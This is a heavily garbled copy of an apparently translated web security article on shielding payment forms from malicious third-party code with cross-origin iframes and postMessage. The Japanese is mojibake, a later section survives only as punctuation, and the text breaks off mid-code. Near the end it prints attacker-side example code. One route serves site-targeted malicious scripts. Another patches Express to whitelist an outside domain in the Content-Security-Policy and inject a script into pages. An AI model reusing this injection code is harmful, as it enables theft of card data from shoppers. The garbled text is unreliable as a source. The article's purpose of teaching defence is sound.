æè¿ãæ°ä»ãããã«æ°åã®ãµã€ãããéè¡ã«ãŒãã®ããŒã¿ãšãã¹ã¯ãŒããåéããæªæã®ããã³ãŒããé
åžããæ¹æ³ãèãåºããããã°ã©ããŒ
ã®æŽå²ã®
翻蚳ãå
¬ââéããŸããã
ãã®æçš¿ã¯ã芳客ããã®æŽ»çºã§ææ
çãªåå¿ãåŒãèµ·ãããŸããã 誰ãããã¹ãŠããªããªã£ããšèšããŸããããããŠä»åœŒã¯å¹³åã«ç ãããšãã§ããªãã§ãããã誰ãã¯åœŒã®ãããžã§ã¯ãã«çµ¶å¯Ÿã«è§Šããªãã ãããšäž»åŒµããŸããã誰ããããããèªåãå®ãæ¹æ³ã«ã€ããŠè³ªåããŸãã...åé¡ã«ãåã®èšäºã§åãäžãããå¥ã®æ¹æ³ã§åŠçããããšãã§ããŸãããããã¯éåžžã«çŸå®çã§ããããã仿¥ãã¯ã¬ãžããã«ãŒãçªå·ãçãã 人ã®è©±ã®ç¶ããå
¬éããŸãã 仿¥ãåœŒã¯æœåšçã«å±éºãªã³ãŒãããWebãããžã§ã¯ããä¿è·ããæ¹æ³ã«ã€ããŠè©±ããŸãã
æãéèŠãªããšã«ã€ããŠäžèšã§èšãã°
詳现ã«é²ãåã«ãããã§æããã«ããäž»ãªã¢ã€ãã¢ã«ã€ããŠç°¡åã«èª¬æããŸãã
ãã®ãããWebãããžã§ã¯ããä¿è·ããã«ã¯ãå°ãªããšã2ã€ã®ããšãèæ
®ããå¿
èŠããããŸãã 第äžã«ããµãŒãããŒãã£ã®ã³ãŒãã¯é¿ããã¹ãã§ã¯ãããŸããã 第äºã«ãæœåšçãªæ»æè
ã«ãšã£ãŠé¢å¿ã®ããããŒã¿ã®åéãšåŠçã«ç¹å¥ãªæ³šæãæãå¿
èŠããããŸãã
ã€ãŸãããã®ãããªããŒã¿ã®åéã¯å°çšã®WebããŒãžã䜿çšããŠå®è¡ããå¿
èŠããããå°çšã®WebããŒãžã¯å¥ã®
iframe
衚瀺ããå¿
èŠããããŸãã ã¡ã€ã³ãµã€ãã®ãã¡ã€ã³ä»¥å€ã®ãã¡ã€ã³ã«ããéçWebããŒãžã®ãµãŒããŒã«é
眮ããå¿
èŠããããŸãã ããã¯ãããšãã°éè¡ã«ãŒãã䜿çšããŠèªåã§äœæ¥ããå Žåã§ãã ããã§ã¯ãããšãã°ãäžèšã®ä¿è·å¯Ÿçã®æå¹æ§ãçãå ŽåããŸãã¯åã«ãããžã§ã¯ããè€éã«ããããªãå Žåãªã©ãå¥ã®æ¹æ³ãéžæã§ããŸãã ãã®æ¹æ³ã¯ããã®ãããªããŒã¿ã®åŠçãå°éãµãŒãã¹ã«å®å
šã«è»¢éã§ããããšã§ãã
ãã®è³æã«èšèŒãããŠããæšå¥šäºé
ã¯ãä»ã®ãã¹ãŠããæç¢ºã«åé¢ãããé©åã«ä¿è·ãããŠãã貎éãªæ
å ±ã®éãããã«ããŽãªã§åäœãããµã€ãã«ã®ã¿é©ããŠããŸãïŒããšãã°ããŠãŒã¶ãŒåãšãã¹ã¯ãŒããéè¡ã«ãŒãããŒã¿ïŒã ãã£ãããããŒã¿ããŒã¹ã¢ããªã±ãŒã·ã§ã³ã®ãããªãã®ãéçºããŠããå Žåã絶察ã«ãã¹ãŠãæ»æè
ã®é¢å¿ãåŒãå¯èœæ§ããããããããã§ã®æšå¥šäºé
ã¯ããŸã圹ã«ç«ã¡ãŸããã
ãã ã¹ã¿ãŒãšããŒãã«ãã³
éåžžãå°ãã®ææã圹ç«ã¡ãŸãã ããã¯åå¡ããè¡åãããã匷å¶ããŸãã
OnePlusãæè¿ããªããã°ãªããªãã£ããã®ãšåæ§ã®çºèšãããªããã°ãªããªãã£ãå Žåã«æããã§ãããæèŠãè©äŸ¡ããããšããå§ãããŸãã
...å
¥åäžã«ã¯ã¬ãžããã«ãŒãããŒã¿ãçãããã«èšèšãããæªæã®ããã¹ã¯ãªãããæ¯æãåŠçããŒãžã®ã³ãŒãã«å°å
¥ãããŸãã...ãã®ã¹ã¯ãªããã¯æç¶çã«åäœããããŒã¿ãã€ã³ã¿ãŒã»ãããããŠãŒã¶ãŒã®ãã©ãŠã¶ãŒããçŽæ¥æ»æè
ã«éä¿¡ããŸãã...ãã®ã€ã³ã·ãã³ãã¯ãæå€§4äžäººã®oneplusãŠãŒã¶ãŒã«åœ±é¿ãäžããŸãããããã
äžèšã§è¿°ã¹ãææã«ã¯ãç¹å®ã®åœ¢ã¯ãããŸããã 圌ã«å¯ŸåŠããããã«ãåç©åŠã«ç®ãåããŠãåç©çã§ã®ç©è³ªçãªå
·äœäŸãèŠã€ããŸãããã
ãµãŒãããŒãã£ã®ã³ãŒãã¯ãããã©ã³ã®ããŒãã«ãã³ãšããŠç޹ä»ããŸãã 圌ã¯èœã¡çããŠããŠãæºè¶³ããŠããŸãã ãããã圌ã®é»ããŸã°ããã®ãªãç®ã«ã¯æªç¥ã®ç«è±ãæœãã§ããŸãã 圌ããããæã«å
¥ããããšãã§ããå Žæã§ãç§ã«ãšã£ãŠå€§åãªãã®ã¯äœãæ®ããªããšèšã£ãŠååã§ãã
ããããç¡é²åãªãã ã¹ã¿ãŒã®åœ¢ã§ç§ãæ³åãããŠãŒã¶ãŒã®æ©å¯ããŒã¿ã ç¡éªæ°ãªè¡šæ
ã§åè¶³ããªããæããªé¡ãæŽããç¬ã®å£ã®åã§äžæ³šæã«æ¯ããŠããæ§åãããããŸãã
ä»ãããªããããŒãã«ãã³ãšå奜çãªé¢ä¿ã«ãã£ãããšããããªãïŒããã匷ããå§ãããŸãïŒãããŒãã«ãã³ã¯çŸããã芪åãªçãç©ã§ãããäžè«ã圌ãã«äžããæªè©ã«å€ããªãããšã¯ééããªãã§ãããã ãã ããããã«ãé¢ããããç¬çšã®åãããã¡ãã®ããã«èŠãããã ã¹ã¿ãŒãããŒãã«ãã³ã ãã«çœ®ããŠã¯ãããªããšäž»åŒµããããšã¯ãããŸããã
å®¶ãåºããšãã«åãéšå±ã«ãã®2ã€ã眮ããŠåž°ããšãäžè¬çãªèœã¡çããæåã®ã·ãŒã³ããããããŒãã«ãã³ã®èäžã§ãã ã¹ã¿ãŒãç ã£ãŠããã®ãããããŸãã ãŸãã¯ãããããïŒããããïŒãããªãã®å°ããªããããããå Žæã«ã¯ç©ºèãããªããç¬ã¯é ãæšªã«æ²ããŠããã¶ãŒãã¡ãã¥ãŒãèŠãããšãã§ãããã©ãããå°ããŸãã
ç§ã¯ãnpmãGTMãDFPããŸãã¯ä»ã®å ŽæããååŸããã³ãŒãã¯ãåŠå®ã§ããªãã»ã©å±éºã ãšèããã¹ãã§ã¯ãªããšèããŠããŸãã ãã ãããã®ã³ãŒããé©åã«åäœããããšãä¿èšŒã§ããªãå Žåã¯ãæ©å¯ã®ãŠãŒã¶ãŒããŒã¿ããã®ãŸãŸã«ããŠããããšã¯ç¡è²¬ä»»ã§ãããšèããããšããå§ãããŸãã
ãã®ãããæ©å¯ããŒã¿ãšãµãŒãããŒãã£ã®ã³ãŒããç¡äººã§äžç·ã«ä¿ç®¡ããããšã¯ã§ããŸããã
äŸïŒè匱ãªãµã€ããä¿è·ãã
ãã®äŸã§èª¿ã¹ããµã€ãã«ã¯ãã¯ã¬ãžããã«ãŒãããŒã¿ãå
¥åããããã®ãã©ãŒã ããããæªæã®ããã³ãŒãããã¢ã¯ã»ã¹ã§ããŸãã åæ§ã®ãã©ãŒã ã¯ãããããååã«ä¿è·ãããŠãããšæãããããã€ãã®éåžžã«å€§ããªãªã³ã©ã€ã³ã¹ãã¢ã§èŠãããšãã§ããŸãã
éè¡ã«ãŒãã®ããŒã¿å
¥åãã©ãŒã ãã®ããŒãžã¯æåéããµãŒãããŒãã£ã®ã³ãŒãã§ãã£ã±ãã§ãã 圌女ã¯Reactã䜿çšããŠãããCreate Reactã¢ããªã䜿çšããŠäœæãããããããã®äžã§æ¬æ Œçãªäœæ¥ãéå§ããåããããã§ã«886åã®äŸåé¢ä¿ããããŸããã
ããã«ãGoogleã¿ã°ãããŒãžã£ãŒããããŸãïŒèª°ãç¥ããªãå Žå-GTMã¯ãå®å
šã«æªç¥ã®äººããµã€ãã«JSã³ãŒããåã蟌ã¿ãã³ãŒãåæã®åœ¢ã§å¹²æžãåé¿ã§ããããã«ãã䟿å©ãªã¡ã«ããºã ã§ãïŒã
ãããŠãå®å
šãªå¹žçŠã®ããã«ããã®ããŒãžã«ã¯ãããŒåºåããããŸãïŒã¹ã¯ãªãŒã³ã·ã§ããã«ã¯è¡šç€ºãããŸããã§ããïŒã ãã®åºåã¯ã112ã®ãããã¯ãŒã¯ãªã¯ãšã¹ãã«æ£ãã°ã£ã1.5ã¡ã¬ãã€ãã®JSã³ãŒãã§ãã ããã¯ãã¹ãŠãã¯ã¬ãžããã«ãŒãã銬ã«ããŠã³ããŒãããæ§åã衚ã1ã€ã®ã¢ãã¡ãŒã·ã§ã³GIFãããŠã³ããŒãããã®ã«11ç§ã®ããã»ããµæéãå¿
èŠãšããŸãã
ïŒããã§ãGoogleã¯ããããã¹ãŠã«é¢é£ããŠç§ã倱æãããŠããããšã«æ³šæããããé©åãªããã°ã©ãã³ã°ã¢ãããŒããæå±ããå瀟ã®åŸæ¥å¡ã¯ãWebãé«éåããæ¹æ³ãæããŠãããã®ã«å€ãã®æéãè²»ãããŠãããæ°ããªç§...ããã¯ãã°ãããããšã§ãããåæã«DFPç¬èªã®åºåãããã¯ãŒã¯ãã¡ã¬ãã€ãã®ããŒã¿ããŠãŒã¶ãŒããã€ã¹ã«éä¿¡ããæ°çŸã®ãããã¯ãŒã¯ãªã¯ãšã¹ããå®è¡ããããã»ããµæéãæ°ç§åãããšãã§ããŸãã UUååãªè³æ Œã®å°éå®¶ãåºåã§åäœããããã«è³¢ããã€è¿
éãªæ¹æ³ãäœæããã®ã«ååã§ãã粟ç¥çãªå¯èœæ§ãããªãããã®ããããŸã§è¡ãããŠããŸããïŒïŒ
ããã§ã¯ããããã¯ã«æ»ããŸãããã æããã«ãç§ã¯ãµãŒãããŒãã£ã®ã³ãŒãã®æããç§å¯ã®ãŠãŒã¶ãŒããŒã¿ãåŒãåºãå¿
èŠããããŸãã åé¡ã®ãã©ãŒã ãç¬èªã®å°ããªå³¶ã«äœãããã«ãããã
æåã«çŽ æµãªåçãèŠã€ããŠããããã®åçãšèšäºã®ãããã¯ãçµã³ä»ããã¡ã¿ãã¡ãŒãèãåºãå¿
èŠããããŸã仿¥ãç§ã®è©±ãããã€ãèªãã§çå£ãªä»äºã®æºåãååã«æŽã£ããšããã§ããµãŒãããŒãã£ã®ã³ãŒããã貎éãªããŒã¿ãä¿è·ããããã®å®çšçãªã¢ãããŒãã«ã€ããŠèª¬æãå§ããŸãã ã€ãŸããããã§ã¯3ã€ã®ä¿è·ãªãã·ã§ã³ãæ€èšããŸãã
- ãªãã·ã§ã³1ïŒãµãŒãããŒãã£ã®ã³ãŒããæããªãç¬èªã®ããã¥ã¡ã³ãã«ã¯ã¬ãžããã«ãŒãããŒã¿ãå
¥åããããã®ãã©ãŒã ãç§»åãããã®ããã¥ã¡ã³ããå¥ã®ããŒãžãšããŠåŠçããŸãã
- ãªãã·ã§ã³2ïŒæåã®ãªãã·ã§ã³ãšåºæ¬çã«åãã§ããããããããŒã¿ãå
¥åããããŒãžã¯
iframe
é
眮ãããŸãã
- ãªãã·ã§ã³3ïŒ2çªç®ã®ãªãã·ã§ã³ãšåãã§ããã芪ããŒãžãš
iframe
ã¯postMessage
ã¡ã«ããºã ã䜿çšããŠããŒã¿ã亀æããŸãã
âãªãã·ã§ã³1ïŒæ©å¯ããŒã¿çšã«å¥ã®ããŒãž
ã»ãã¥ãªãã£äžã®çç±ãããæ©å¯ããŒã¿ãæäœããããã®æ°ããããŒãžãäœæããã®ãæãç°¡åã§ãããã®ããŒãžã«ã¯JavaScriptã³ãŒãããŸã£ãããããŸããã ãŠãŒã¶ãŒãã賌å
¥ããã¿ã³ãã¯ãªãã¯ãããšãããŒãžã«çµã¿èŸŒãŸãããã®ãã¶ã€ã³ã«åŸã£ãŠæ§åŒåãããçŸãã圢ã衚瀺ãã代ããã«ã次ã®ãããªãã®ã«éä¿¡ãããŸãã
éè¡ã«ãŒãããŒã¿ãæäœããããã®å°çšããŒãžæ®å¿µãªãããç§ã®ãµã€ãã®ããããŒãããã¿ãŒãããã³ããã²ãŒã·ã§ã³ããŒã¯Reactã³ã³ããŒãã³ãã§ããããããµãŒãããŒãã£ã®ã³ãŒãã䜿çšããã«äœæããããã®ããŒãžã§ã¯äœ¿çšã§ããŸããã ãããã£ãŠãèŠåºãïŒç¢æã®ããéãé·æ¹åœ¢ïŒã¯ãå®å
šã«æ©èœããèŠåºãã®æåã§äœæãããã³ããŒã§ãã ãã¡ãããæäœãã®åžœåã«ã¯åãæ©èœã¯ãããŸããã
ãŠãŒã¶ãŒããã©ãŒã ã«ããŒã¿ãå
¥åãããããéä¿¡ããã¿ã³ãã¯ãªãã¯ããŠã賌å
¥ããã»ã¹ã®æ¬¡ã®ã¹ãããã«é²ã¿ãŸãã ããã«ã¯ããµã€ãã®ãµãŒããŒéšåã®å€æŽãå¿
èŠã«ãªãå ŽåããããŸããããã«ããããŠãŒã¶ãŒã®ã¢ã¯ã·ã§ã³ãšããµã€ãã®ããŒãžãç§»åãããšãã«ã·ã¹ãã ã«éä¿¡ããããŒã¿ã远跡ã§ããŸãã
ãã©ãŒã ãã¡ã€ã«ã«äœåãªãã®ãå«ãŸããªãããã«ãJavaScriptã§ã§ããããšã®ä»£ããã«æšæºã®ãã©ãŒã æ€èšŒã¡ã«ããºã ã䜿çšããŸããã ãã®çµæããã®ãããªããŒãžã®ãµããŒãã¬ãã«ã¯
97ïŒ
ãè¶
ã ã
required
屿§ãš
pattern
屿§ã䜿çšããŠãJavaScriptã«ããå
¥åããŒã¿ã®æ€èšŒã®å®è£
ãã©ã®çšåºŠé²ãã ããè©äŸ¡ã§ããŸãã
CodePenã®ãã®ãããªããŒãžã®äŸã次ã«ç€ºããŸãã JSãšæ¡ä»¶ä»ãã¹ã¿ã€ãªã³ã°ã䜿çšããã«ãæ£èŠè¡šçŸã䜿çšããŠå
¥åãããããŒã¿ã®æ€èšŒã䜿çšããŸãã
ãã®ã¢ãããŒããå®éã«äœ¿çšããå Žåã¯ããã©ãŒã ã«é¢é£ããã³ãŒãã1ã€ã®ãã¡ã€ã«ã«ä¿åããããšããå§ãããŸãã è€éãã¯ãã®ã¢ãããŒãã®æµã§ãïŒç§ãã¡ã®ç¶æ³ã§ã¯ãè€éãã«å¯Ÿããåæ§ã®æ
床ãç¹ã«åœãŠã¯ãŸããŸãïŒã äžèšã®äŸã®HTMLãã¡ã€ã«ã¯ã
<style>
ã«åã蟌ãŸããCSSãšãšãã«ãçŽ100è¡ã®ã³ãŒããåããŸãã ãã®ãã¡ã€ã«ã¯éåžžã«å°ããããã®ãã¡ã€ã«ã衚瀺ããããã«è¿œå ã®ãããã¯ãŒã¯èŠæ±ãå¿
èŠãšããªããããæ
éã«å€æŽããããšã¯ã»ãšãã©äžå¯èœã§ãã
æ®å¿µãªããããã®ã¢ãããŒãã«ã¯CSSã¹ã¿ã€ã«ã®ã³ããŒãå¿
èŠã§ãã ç§ã¯ããã«ã€ããŠå€ããèããç°ãªãã¢ãããŒããæ€èšããŸããã ãããã¯ãã¹ãŠãã³ããŒãããCSSã®ããªã¥ãŒã ãããå€ãã®ã³ãŒããå¿
èŠãšããŸããããã®éè€ã¯åœŒãã®å©ããåããŠé²ãããšãã§ããŸãã
ãããã£ãŠããèªåèªèº«ãç¹°ãè¿ããªãããšããã¢ã€ãã¢ã¯åªããã¬ã€ãã©ã€ã³ã§ãããããã¯çµ¶å¯Ÿã«åŸããªããã°ãªããªã絶察çãªã«ãŒã«ãšèŠãªãããã¹ãã§ã¯ãããŸããã ããã§èŠãŠãããããªãŸããªã±ãŒã¹ã§ã¯ãã³ãŒãã®ã³ããŒã¯2ã€ã®æªã®å°ãªãæ¹ã§ãã
æãæçšãªã«ãŒã«ã¯ãç Žãããå¯èœæ§ããããšãã«ç¥ãããŠããã«ãŒã«ã§ãã
ïŒæ°å¹Žã«ã¯ãäœãèšããã«ã¹ããŒããªããšãäŒããããšããŠããŸããïŒ
âãªãã·ã§ã³2ïŒiframeã®ã¹ã¿ã³ãã¢ãã³ããŒãž
æåã®ãªãã·ã§ã³ã¯éåžžã«æå¹ã§ããããšã倿ããŸããããããã¯ãŠãŒã¶ãŒã€ã³ã¿ãŒãã§ã€ã¹ãšUXã®èšèšã®èгç¹ããäžæ©åŸéãããã®ã§ãã ããã«ã誰ããããéãåãåãæ®µéã¯ãäœåãªããŒãžã®åãã人ã«ããŒããã䟡å€ãããå Žåã«ã¯åœãŠã¯ãŸããŸããã
2çªç®ã®ãªãã·ã§ã³ã¯ããã©ãŒã ã®ããããŒãžã
iframe
é
眮ããããšããäºå®ã«ãããç¶æ³ãæ¹åããŸãã
ããã§ã¯ã次ã®ãããªããšãããããšããå ŽåããããŸãã
<iframe src="/credit-card-form.html" title="credit card form" height="460" width="400" frameBorder="0" scrolling="no" />
ããããªãã§ãã ããã
ãã®äŸã§ã¯ã芪ããŒãžãš
iframe
ã³ã³ãã³ãã¯èªç±ã«ãäºããèŠãŠçžäºã«ããåãã§ããŸãã ããŒãã«ãã³ãäžæ¹ã®éšå±ã«æ®ãããã ã¹ã¿ãŒãããäžæ¹ã®éšå±ã«çœ®ããå Žåãšåãã«ãªããŸãããããã®2ã€ã®éšå±ã®éã«ããã¯è§£é€ããããã¢ãããã空è
¹æã«ããŒãã«ãã³ãç°¡åã«éããããšãã§ããŸãã
iframe
ããµã³ãããã¯ã¹ã«å
¥ãããšããã§ãããã ããã«ïŒå
ã»ã©èŠã€ããããã«ïŒãããã¯
iframe
ãã芪ããŒãžãä¿è·ããããšãç®çãšããŠããããã
sandbox
iframe
屿§ãšã¯é¢ä¿ãããŸããã ç§ãã¡ã®ã¿ã¹ã¯ã¯ã芪ããŒãžãã
iframe
ãä¿è·ããããšã§ãã
ãã©ãŠã¶ã«ã¯çµã¿èŸŒã¿ã®ã¡ã«ããºã ããããããŒã¹ããŒãžã®å ޿以å€ã®ãœãŒã¹ããã®ã³ãŒããä¿¡çšã§ããªãããã«ããŸãã ããã¯
åäžçæå
ããªã·ãŒãšåŒã°ããç°ãªããœãŒã¹ããåä¿¡ããã³ãŒãã®çžäºäœçšãå¶éããã»ãã¥ãªãã£ããªã·ãŒã§ãã ãã®ã¡ã«ããºã ã®ãããã§ãããŒã¹ããŒãžãš
iframe
ã®çžäºäœçšãé²ãã«ã¯ãããŒãžãå¥ã®ãã¡ã€ã³ãã
iframe
ã«ããŒãããã ãã§ååã§ãã
<iframe src="https://different.domain.com/credit-card-form.html" title="credit card form" height="460" width="400" frameBorder="0" scrolling="no" />
ãã®ã¢ãããŒãã§ã¯ããããã®äžçããç§ãã¡ã®äŸã«æ»ããšããã ã¹ã¿ãŒã¯ãã¢ããã£ãããšããã¯ããŠãããŠæ¬åœã«æè¬ããŸãã
é害ã®ãã人åãã®
iframe
ã³ã³ãã³ãã®å¯çšæ§ã«ã€ããŠæžå¿µããŠããå Žåãç§ã¯ãŸã第äžã«ããªããèªãã«æã£ãŠããã第äºã«ããã«ã€ããŠå¿é
ããããšã¯ã§ããŸããã
WebAIMãå ±åããå
å®¹ã¯æ¬¡ã®ãšããã§ãããçµã¿èŸŒã¿
iframeã«ã¯ãæ¢ç¥ã®ã¢ã¯ã»ã·ããªãã£ã®åé¡ã¯ãããŸããã åã蟌ãŸããiframeã®ã³ã³ãã³ãã¯ã芪ããŒãžã®ã³ã³ãã³ãã§ãããã®ããã«ïŒããŒã¯ã¢ããå
ã®ã¿ã°ã®é åºã«åºã¥ããŠïŒããŒãžã«å«ãŸããäœçœ®ããèªã¿åãããŸãã
次ã«ããã©ãŒã ã宿ãããšãã«äœãèµ·ãããèããŠã¿ãŸãããã ãŠãŒã¶ãŒã¯
iframe
ã«ãããã®ãã©ãŒã ã®éä¿¡ãã¿ã³ãã¯ãªãã¯ããŸãããããã¯èŠªããŒãžã«åœ±é¿ãäžããããã«å¿
èŠã§ãã ãã ããããŒãžã®ã³ã³ãã³ããš
iframe
ãœãŒã¹
iframe
ç°ãªããããäžèšã®ã¹ããŒã ãå®è£
ã§ãããã©ããçåã«æããŸãã
幞ããªããšã«ãããã¯å¯èœã§ãããããã
target
ãã©ãŒã 屿§ã®
target
ã§ãã
<form action="/pay-for-the-thing" method="post" target="_top" > </form>
ãããã£ãŠããŠãŒã¶ãŒã¯æ©å¯ããŒã¿ãã¡ã€ã³ããŒãžã«å®å
šã«é©åãããã©ãŒã ã«å
¥åã§ããŸãã æ¬¡ã«ããã©ãŒã ãéä¿¡ãããšã芪ããŒãžããªãã€ã¬ã¯ããããŸãã
ç§ãã¡ãæ€èšããŠãã貎éãªããŒã¿ãä¿è·ãã2çªç®ã®ãªãã·ã§ã³ã¯ãã»ãã¥ãªãã£ã®é¢ã§å€§ããªåé²ã§ããã€ãŸããå€éšäŸåé¢ä¿ã§æºããããããŒã¹ããŒãžã«ã¯ããããã®äŸåé¢ä¿ã®ã³ãŒãããã¢ã¯ã»ã¹ã§ãããã©ãŒã ã¯ãããŸããã
ãã ãããã®åé¡ã®çæ³çãªè§£æ±ºçãšããŠãããŒãžã®ãªãã€ã¬ã¯ãã¯å¿
èŠãããŸããã ããã¯ã3çªç®ã®ãªãã·ã§ã³ã«ã€ãªãããŸãã
âãªãã·ã§ã³3ïŒèŠªããŒãžãšiframeéã®ããŒã¿äº€æ
ç§ã®å®éšãµã€ãã§ã¯ã賌å
¥ãã補åã«é¢ããæ
å ±ãšãšãã«ãéè¡ã«ãŒãã®ããŒã¿ãã¢ããªã±ãŒã·ã§ã³ç¶æ
ã§ä¿åããå¿
èŠãªæ
å ±ããã¹ãŠåéããåŸã1ã€ã®AJAXãªã¯ãšã¹ãã䜿çšããŠè»¢éããŸãã
ãšãŠãç°¡åã§ãã ãã©ãŒã ãã芪ããŒãžã«ããŒã¿ãéä¿¡ããã«ã¯ã
postMessage
ã¡ã«ããºã ã䜿çšããŸãã
iframe
ãã¹ããããŠããããŒãžã¯æ¬¡ã®ãšããã§ãã
<body> <form id="form"> </form> <script> var form = document.getElementById('form'); form.addEventListener('submit', function(e) { e.preventDefault(); var payload = { type: 'bananas', formData: { a: form.ccname.value, b: form.cardnumber.value, c: form.cvc.value, d: form['cc-exp'].value, }, }; window.parent.postMessage(payload, 'https://mysite.com'); }); </script> </body>
var
泚æããŠãã ããã ããã§ã芪ããŒãžïŒãŸãã¯ãããã
iframe
æ
åœããReactã³ã³ããŒãã³ãïŒã§ã
iframe
ããã®ã¡ãã»ãŒãžãæåŸ
ããããã«å¿ããŠç¶æ
ãæŽæ°ããŸãã
class CreditCardFormWrapper extends PureComponent { componentDidMount() { window.addEventListener('message', ({ data }) => { if (data.type === 'bananas') { this.setState(data.formData); } }); } render() { return ( <iframe src="https://secure.mysite.com/credit-card-form.html" title="credit card form" height="460" width="400" frameBorder="0" scrolling="no" /> ); } }
ãã®äŸã¯Reactã«åºã¥ããŠããŸãããåãã¢ã€ãã¢ãä»ã®ææ®µã§å®è£
ããããšãã§ããŸãã
ãã®ã¢ãããŒããå®å
šã§ãªããšæãããå Žåã¯ã代ããã«ã
onchange
ã€ãã³ãã䜿çšããŠããã£ãŒã«ãããšã«åå¥ã«èŠªãšã³ãã£ãã£ã®ãã©ãŒã ããããŒã¿ãéä¿¡ã§ããŸãã
ãããè¡ã£ãŠããéã芪ããŒãžãå
¥åãããããŒã¿ããã§ãã¯ãããã¹ãŠãæ£ããå
¥åãããããšã瀺ãã¡ãã»ãŒãžããã©ãŒã ã«éä¿¡ããããšã劚ãããã®ã¯äœããããŸããã ããã«ãããå
¥åæ€èšŒã³ãŒããåå©çšã§ããŸãããã®ã³ãŒãã¯ããããžã§ã¯ãã®ã©ããã§åŒãç¶ãå©çšã§ããŸãã
ããã§ã¯ã
2ã€ã® 貎éãªã³ã¡ã³ãã«åºã¥ããŠè¿œå ãããã£ãã®ã§ããã
iframe
ã¯èŠªããŒãžããªãã€ã¬ã¯ãããã«ããŒã¿ãéä¿¡ã§ãããã®åŸ
postMessage
ã䜿çšããŠæäœã®æåãŸãã¯å€±æã«é¢ããã¡ãã»ãŒãžã芪ããŒãžã«éä¿¡ã§ããŸãã ãã®ã¢ãããŒãã§ã¯ãæ©å¯ããŒã¿ã¯èŠªããŒãžã«ãŸã£ãã転éãããŸããã
以äžã§ãïŒ è²ŽéãªãŠãŒã¶ãŒããŒã¿ã¯
iframe
é
眮ããããã©ãŒã ã«å®å
šã«å
¥åãããããŒã¹ããŒãžã®ãœãŒã¹ä»¥å€ã®ãœãŒã¹ããããã«ããŒããããŸãã ãã®ããŒã¿ã¯èŠªããŒãžããã¯é ãããŠããŸãããã¢ããªã±ãŒã·ã§ã³ã®ç¶æ
ã®äžéšã§ããå¯èœæ§ããããŸããã€ãŸãããŠãŒã¶ãŒã¯
iframe
ã䜿çšããã«ãµã€ããå¿«é©ã«æäœã§ããŸãã
ããã§ã¯ã芪ããŒãžã«ã¯ã¬ãžããã«ãŒãæ
å ±ãéä¿¡ãããšããã®ããŒã¿ãä¿è·ããããã®ãã¹ãŠã®åãçµã¿ããã£ã³ã»ã«ããããšèãããããããŸããã ãã®ããŒã¿ã¯ãããŒã¹ããŒãžã«ããæªæã®ããã³ãŒãããã¢ã¯ã»ã¹ã§ããŸããïŒ
ãã®è³ªåãžã®çãã¯2ã€ã®éšåããæããäºåã«è¬çœªããŸãããããã説æããç°¡åãªæ¹æ³ã¯æãã€ããŸããã
ææ¡ãããã¢ãããŒãã®ãªã¹ã¯ç¹æ§ã®ã¬ãã«ã蚱容ã§ãããšèããçç±ã¯ãããã«ãŒã®ç®ã§ç¶æ³ãèŠãã°çè§£ããããã§ãã 貎éãªæ
å ±ãæ€çŽ¢ããŠãµãŒããŒã«éä¿¡ããããšã«ãããä»»æã®Webãµã€ãã§å®è¡ã§ããæªæã®ããã³ãŒããäœæããã¿ã¹ã¯ã«çŽé¢ããŠããããšãæ³åããŠãã ããã ãã®ã³ãŒããäœããéä¿¡ãããã³ã«ãæ€åºããããªã¹ã¯ããããŸãã ãããã£ãŠãå€ã確å®ãªããŒã¿ã®ã¿ããµãŒããŒã«éä¿¡ããããšã¯ããªãã®å©çã«ãªããŸãã
ãã®ãããªã³ãŒããèšè¿°ããå¿
èŠãããå Žåã
message
ã€ãã³ããç¡å·®å¥ã«ãªãã¹ã³ãããããããæœåºãããã®ããµãŒããŒã«éä¿¡ããŸããã æ¯æãããŒã¿ã®å
¥åã«è匱ãªãã©ãŒã ã䜿çšãããµã€ããäœåãããããããã®ãã©ãŒã ã®ãã£ãŒã«ãã«ã¯ãã¡ããšçœ²åãããŠãããããå¿
èŠãããŸããã
çãã®2çªç®ã®éšåã¯ãããªããæ©ãŸãæªæã®ããã³ãŒãã¯æ®éçãªãã®ã§ã¯ãªããšããããšã§ãã ãã®ã³ãŒãã¯ãã€ã³ã¿ãŒã»ããããå¿
èŠãããã¡ãã»ãŒãžãããç¥ã£ãŠããå¯èœæ§ããããŸããã€ãŸãããããã®ã¡ãã»ãŒãžã§éä¿¡ããã貎éãªããŒã¿ãçãããšãã§ããŸãã ãµã€ãå°çšã«äœæãããæªæã®ããã³ãŒãã«å¯Ÿããä¿è·ã¯ãå¥ã®ã»ã¯ã·ã§ã³ã«å€ãããããã¯ã§ãã
ãŠãããŒãµã«æªæã®ããã³ãŒããããã³ç¹å®ã®ãµã€ãçšã«èšèšãããã³ãŒã
ãããŸã§ãæ®éçãªæªæã®ããã³ãŒãã䜿çšããæ»æã«ã€ããŠèª¬æããŠããŸããã , , . , , -.
, , , , -. , , .
, , , . . ,
iframe
,
iframe
. -, , 50% , , . â .
, , .
. . (, npm-), «» , , , . :
app.get('/analytics.js', (req, res) => { if (req.get('host').includes('acme-sneakers.com')) { res.sendFile(path.join(__dirname, '../malicious-code/targeted/acme-sneakers.js')); } else if (req.get('host').includes('corporate-bank.com')) { res.sendFile(path.join(__dirname, '../malicious-code/targeted/corporate-bank.js')); } else if (req.get('host').includes('government-secrets.com')) { res.sendFile(path.join(__dirname, '../malicious-code/targeted/government-secrets.js')); } else if (req.get('host').includes('that-chat-app.com')) { res.sendFile(path.join(__dirname, '../malicious-code/targeted/that-chat-app.js')); } else { res.sendFile(path.join(__dirname, '../malicious-code/generic.js')); } });
, , , . â . .
-, ,
postMessage
iframe
. , , , , , .
, . Google, Facebook Twitter. , . , , , , .
-
, , , . ⊠, , -. , .
â
, HTML-, . . - , .
, Node.js. , âŠ
, . 204 ?, 204 â , , , , , , ?
, , npm-, , , , , , .
, â ,
this
call
, , , CSP.
const fs = require('fs'); const express = require('express'); let indexHtml; const originalResponseSendFile = express.response.sendFile; express.response.sendFile = function(path, options, callback) { if (path.endsWith('index.html')) { // let csp = express.response.get.call(this, 'Content-Security-Policy') || ''; csp = csp.replace('connect-src ', 'connect-src https://adxs-network-live.com '); express.response.set.call(this, 'Content-Security-Policy', csp); // if (!indexHtml) { indexHtml = fs.readFileSync(path, 'utf8'); const script = ` <script> var googleAuthToken = document.createElement('script'); googleAuthToken.textContent = 